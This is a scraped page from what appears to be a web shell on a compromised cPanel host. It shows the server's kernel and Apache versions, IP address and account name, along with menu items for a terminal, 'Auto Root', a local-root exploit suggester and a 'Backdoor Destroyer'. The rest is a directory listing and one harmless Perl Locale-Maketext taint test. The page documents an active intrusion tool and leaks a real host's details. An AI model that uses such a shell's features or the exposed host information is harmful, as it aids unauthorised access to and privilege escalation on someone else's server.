Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Locale-Maketext /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_about_verbose.t
1.98
KB
-r--r--r--
2014-12-27 11:48
04_use_external_lex_cache.t
1.62
KB
-r--r--r--
2014-12-27 11:48
09_compile.t
709
B
-r--r--r--
2014-12-27 11:48
10_make.t
685
B
-r--r--r--
2014-12-27 11:48
20_get.t
1.72
KB
-r--r--r--
2014-12-27 11:48
30_eval_dollar_at.t
1.6
KB
-r--r--r--
2014-12-27 11:48
40_super.t
1.5
KB
-r--r--r--
2014-12-27 11:48
50_super.t
2.03
KB
-r--r--r--
2014-12-27 11:48
60_super.t
734
B
-r--r--r--
2014-12-27 11:48
70_fail_auto.t
718
B
-r--r--r--
2014-12-27 11:48
90_utf8.t
719
B
-r--r--r--
2014-12-27 11:48
91_backslash.t
870
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!perl -T use strict; use warnings; use Test::More tests => 2; use Scalar::Util qw(tainted); use Locale::Maketext; my @ENV_values = map { !/^PERL/ && defined($ENV{$_}) && !ref($ENV{$_}) && $ENV{$_} ? $ENV{$_} : () } sort keys %ENV; die "No %ENV vars to test?" if !@ENV_values; my ($tainted_value)= @ENV_values; $tainted_value =~ s/([\[\]])/~$1/g; # If ${^TAINT} is not set despite -T, this perl doesn't have taint support ok(!${^TAINT} || tainted($tainted_value), "\$tainted_value is tainted") or die("Could not find tainted value to use for testing (maybe fix the test?)"); my $result = Locale::Maketext::_compile("hello [_1]", $tainted_value); pass("_compile does not hang on tainted values");